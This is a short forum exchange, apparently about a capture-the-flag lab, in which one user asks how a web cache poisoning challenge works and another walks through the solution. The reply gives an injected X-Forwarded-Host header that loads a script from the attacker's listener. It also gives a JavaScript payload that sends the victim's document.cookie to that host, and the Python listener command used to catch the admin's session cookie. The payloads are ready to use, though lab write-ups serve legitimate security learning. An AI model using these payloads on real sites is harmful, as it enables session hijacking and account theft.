[BlackBeer]

You use cache poisoning to insert malicious javascript into the page

I feel like such a newb.
Can anyone give me a hint or show how this looks in Burp?

[blackheartcrow]

You use cache poisoning to insert malicious javascript into the page

I feel like such a newb.
Can anyone give me a hint or show how this looks in Burp?

I'm not sure if i can atm, cause im at work and using a VM. but I sent the request when i first traversed to the /Firewalls page to repeater in burp and set up a listener: python3 -m  http.server {listenerport} then sent
```
X-Forwarded-Host: 127.0.0.1"> </script> <script src="http://LOCALIP:LPORT/exploit.js"></script> <!--
```
with the script containing
```
X-Forwarded-Host: 127.0.0.1"> </script> <script>new Image().src="http://LOCALIP:LPORT/?c="+encodeURI(document.cookie);</script><!--
```

Then waited for my listener to catch the admin's cookie via the .js script that had been placed in the webcache

Hope this helps, ping me later if it doesnt and i'll see if i can do any more